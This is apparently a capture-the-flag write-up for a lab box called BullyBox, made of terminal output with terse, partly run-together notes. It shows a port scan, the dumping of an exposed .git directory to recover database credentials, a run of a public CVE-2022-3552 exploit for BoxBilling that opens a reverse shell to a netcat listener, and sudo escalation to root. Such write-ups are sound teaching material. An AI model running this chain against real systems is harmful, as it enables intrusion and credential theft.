

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.218.27 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_ http-server-header: Apache/2.4.52 (Ubuntu)
|_ http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` buster,find`.git`
```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://bullybox.local -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

=====

Starting gobuster in directory enumeration mode

=====

```
/.git/HEAD (Status: 200) [Size: 23]
/.git (Status: 301) [Size: 315] [--> http://bullybox.local/.git/]
/.git/config (Status: 200) [Size: 92]
/.git/logs/ (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.git/index (Status: 200) [Size: 495864]
/Documents and Settings (Status: 403) [Size: 279]
/LICENSE (Status: 200) [Size: 11346]
/Program Files (Status: 403) [Size: 279]
/_ (Status: 200) [Size: 3971]
/about-us (Status: 200) [Size: 9436]
/akeeba.backend.log (Status: 403) [Size: 279]
/api/experiments (Status: 200) [Size: 77]
/api/experiments/configurations (Status: 200) [Size: 93]
/balance (Status: 302) [Size: 0] [--> http://bullybox.local/client/balance]
/blog (Status: 200) [Size: 10663]
/cart (Status: 200) [Size: 9299]
/client (Status: 302) [Size: 3994] [--> http://bullybox.local/login]
/contact-us (Status: 200) [Size: 11039]
/dashboard (Status: 302) [Size: 13538] [--> http://bullybox.local/login]
/development.log (Status: 403) [Size: 279]
/email (Status: 302) [Size: 8976] [--> http://bullybox.local/login]
/emails (Status: 302) [Size: 8976] [--> http://bullybox.local/login]
/example (Status: 200) [Size: 4185]
/forum (Status: 200) [Size: 9808]
/index.php (Status: 200) [Size: 10462]
/invoice (Status: 302) [Size: 9558] [--> http://bullybox.local/login]
/kb (Status: 200) [Size: 9522]
/login (Status: 200) [Size: 14605]
/me (Status: 302) [Size: 0] [--> http://bullybox.local/client/profile]
/news (Status: 200) [Size: 10663]
/order (Status: 200) [Size: 12532]
/php.ini (Status: 403) [Size: 279]
/privacy-policy (Status: 200) [Size: 10669]
/production.log (Status: 403) [Size: 279]
/reports list (Status: 403) [Size: 279]
/robots.txt (Status: 200) [Size: 716]
/server-status (Status: 403) [Size: 279]
/service (Status: 302) [Size: 9188] [--> http://bullybox.local/login]
/sitemap.xml (Status: 200) [Size: 1719]
/spamlog.log (Status: 403) [Size: 279]
/support (Status: 302) [Size: 11285] [--> http://bullybox.local/login]
/tos (Status: 200) [Size: 10263]
Progress: 4727 / 4727 (100.00%)
``` usegit-dumperdownload,canCheckbb-config.php
```

```

(kali㉿kali)-[~/pgplay/git-dumper]
└─$ python3 git_dumper.py http://bullybox.local/.git/ /home/kali/pgplay/bullybox

(kali㉿kali)-[~/pgplay/bullybox]
└─$ cat bb-config.php

<?php
return array (
    'debug' => false,
    'salt' => 'b94ff361990c5a8a37486ffef13fab96',
    'url' => 'http://bullybox.local/',
    'admin_area_prefix' => '/bb-admin',
    'sef_urls' => true,
    'timezone' => 'UTC',
    'locale' => 'en_US',
    'locale_date_format' => '%A, %d %B %G',
    'locale_time_format' => '%T',
    'path_data' => '/var/www/bullybox/bb-data',
    'path_logs' => '/var/www/bullybox/bb-data/log/application.log',
    'log_to_db' => true,
    'db' =>
    array (
        'type' => 'mysql',
        'host' => 'localhost',
        'name' => 'boxbilling',
        'user' => 'admin',
        'password' => 'Playing-Unstylish7-Provided',
    )
)
...
... canthen use [CVE-2022-3552] (https://github.com/kabir0x23/CVE-2022-3552) login

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

(kali㉿kali)-[~/pgplay]
└─$ python3 CVE-2022-3552.py -d http://bullybox.local/ -u admin@bullybox.local -p Playing-Unstylish7-Provided
[+] Successfully logged in
[+] Payload saved successfully
[+] Getting Shell

```

\$ python3 -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

```

yuki@bullybox:/$
''' sudo -lCheck.get root./rootget proof.txt

```

```

yuki@bullybox:/tmp$ sudo -l
Matching Defaults entries for yuki on bullybox:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User yuki may run the following commands on bullybox:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
yuki@bullybox:/tmp$ sudo su
root@bullybox:~# cat proof.txt
34efdb508928e4f8562f5bcd51460a20

```